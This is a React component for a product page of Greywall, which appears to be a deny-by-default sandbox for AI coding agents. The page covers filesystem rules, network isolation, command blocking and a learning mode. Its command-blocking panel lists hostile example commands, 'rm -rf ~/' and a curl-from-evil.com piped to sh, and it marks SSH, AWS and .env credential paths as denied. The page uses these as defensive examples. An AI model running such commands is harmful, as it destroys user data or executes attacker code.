'use client'

import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'

const tree = [
  { path: '~/my-project/', access: 'rw', color: 'green' },
  { path: '  src/', access: 'rw', color: 'green' },
  { path: '  package.json', access: 'rw', color: 'green' },
  { path: '  node_modules/', access: 'r', color: 'yellow' },
  { path: '~/shared-lib/', access: 'r', color: 'yellow' },
  { path: '~/.ssh/', access: 'deny', color: 'red' },
  { path: '~/.aws/', access: 'deny', color: 'red' },
  { path: '~/.env', access: 'deny', color: 'red' },
  { path: '~/other-repos/', access: 'deny', color: 'red' },
  { path: '~/Documents/', access: 'deny', color: 'red' },
]

const accessLabels: Record<string, string> = {
  rw: 'read/write',
  r: 'read-only',
  deny: 'denied',
}

function badgeClasses(color: string) {
  if (color === 'green') return 'bg-green-400/10 text-green-400/80'
  if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
  return 'bg-red-400/10 text-red-400/70'
}

function textColor(color: string) {
  if (color === 'green') return 'text-green-400/80'
  if (color === 'yellow') return 'text-yellow-400/70'
  return 'text-red-400/70'
}

export function Control() {
  const [platform] = usePlatform()

  return (
    <section className="py-24 px-6 border-t border-border/30">
      <div className="mx-auto max-w-5xl">
        <div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
          <div className="max-w-2xl">
            <div className="flex items-center gap-2 mb-4">
              <ShieldCheck className="h-4 w-4 text-primary" />
              <span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
                Control
              </span>
            </div>
            <h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
              Default deny. Explicit allow.
            </h2>
            <p className="text-muted-foreground font-serif text-lg leading-relaxed">
              Agents inherit your full permissions. Greywall flips this — nothing is accessible
              unless explicitly granted. Filesystem, network, and commands all start closed.
            </p>
          </div>
          <PlatformToggle />
        </div>

        <div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
          {/* Directory tree visualization */}
          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <FolderLock className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
            </div>
            <div className="space-y-1 font-mono text-sm">
              {tree.map((item, i) => (
                <div key={i} className="flex items-center justify-between py-1">
                  <span className={textColor(item.color)}>{item.path}</span>
                  <span
                    className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
                  >
                    {accessLabels[item.access]}
                  </span>
                </div>
              ))}
            </div>
            <p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
              SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
              are always protected — even inside allowed directories.
            </p>
          </div>

          {/* Network isolation */}
          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <Wifi className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
            </div>
            {platform === 'linux' ? (
              <div className="space-y-3 text-sm font-serif">
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">Full network namespace isolation</span> — the
                    sandboxed process cannot see the host network at all.
                  </p>
                </div>
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">TUN device captures every packet</span> at the
                    kernel — even binaries that ignore proxy env vars.
                  </p>
                </div>
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">Domain-level filtering</span> via GreyProxy.
                    Allow specific domains, block everything else — adjustable live.
                  </p>
                </div>
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">DNS bridging</span> — transparent DNS relay
                    ensures name resolution works inside the sandbox.
                  </p>
                </div>
              </div>
            ) : (
              <div className="space-y-3 text-sm font-serif">
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">Seatbelt network rules</span> block all outbound
                    connections except to the proxy address.
                  </p>
                </div>
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">Proxy-based routing</span> via env vars. Traffic
                    from proxy-aware tools is filtered through GreyProxy.
                  </p>
                </div>
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">Domain-level filtering</span> — allow npm
                    registry and API hosts, block everything else.
                  </p>
                </div>
                <div className="flex items-start gap-3">
                  <div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
                  <p className="text-muted-foreground">
                    <span className="text-foreground">Localhost control</span> — separate config for
                    port binding and local service access.
                  </p>
                </div>
              </div>
            )}
          </div>

          {/* Command blocking */}
          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <Ban className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Command blocking</h3>
            </div>
            <div className="space-y-2 font-mono text-xs">
              <div className="flex items-center gap-3">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground">git push origin main</span>
              </div>
              <div className="flex items-center gap-3">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground">npm publish</span>
              </div>
              <div className="flex items-center gap-3">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground">rm -rf ~/</span>
              </div>
              <div className="flex items-center gap-3">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span>
              </div>
              <div className="mt-3 flex items-center gap-3">
                <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
                <span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span>
              </div>
              <div className="flex items-center gap-3">
                <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
                <span className="text-greyhaven-offwhite">npm install lodash</span>
              </div>
            </div>
            <p className="text-xs text-muted-foreground font-serif mt-4">
              Detects blocked commands in pipes, chains, and nested shells.
            </p>
          </div>

          {/* Learning mode */}
          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <GraduationCap className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Learning mode</h3>
            </div>
            <div className="code-block p-4 mb-4">
              <div className="space-y-1.5 font-mono text-xs">
                <div>
                  <span className="text-muted-foreground">$ </span>
                  <span className="text-greyhaven-offwhite">
                    {platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
                  </span>
                </div>
                <div className="text-muted-foreground mt-2">
                  {platform === 'linux' ? 'Tracing with strace...' : 'Tracing with eslogger...'}
                </div>
                <div className="text-muted-foreground">
                  Discovered 47 paths, collapsed to 12 rules
                </div>
                <div className="text-muted-foreground">
                  Template saved: claude
                </div>
                <div className="mt-2">
                  <span className="text-muted-foreground">$ </span>
                  <span className="text-greyhaven-offwhite">greywall -- claude</span>
                </div>
                <div className="text-muted-foreground">
                  Auto-loaded template: claude
                </div>
              </div>
            </div>
            <p className="text-xs text-muted-foreground font-serif leading-relaxed">
              {platform === 'linux'
                ? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
                : 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
            </p>
          </div>
        </div>

        <div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
          <p className="text-sm text-muted-foreground font-serif leading-relaxed">
            <span className="text-primary font-medium">Independent enforcement.</span>{' '}
            The security layer around your AI tools should be independent of the company selling you
            the AI, for the same reason you shouldn&apos;t let a bank audit itself.
          </p>
        </div>
      </div>
    </section>
  )
}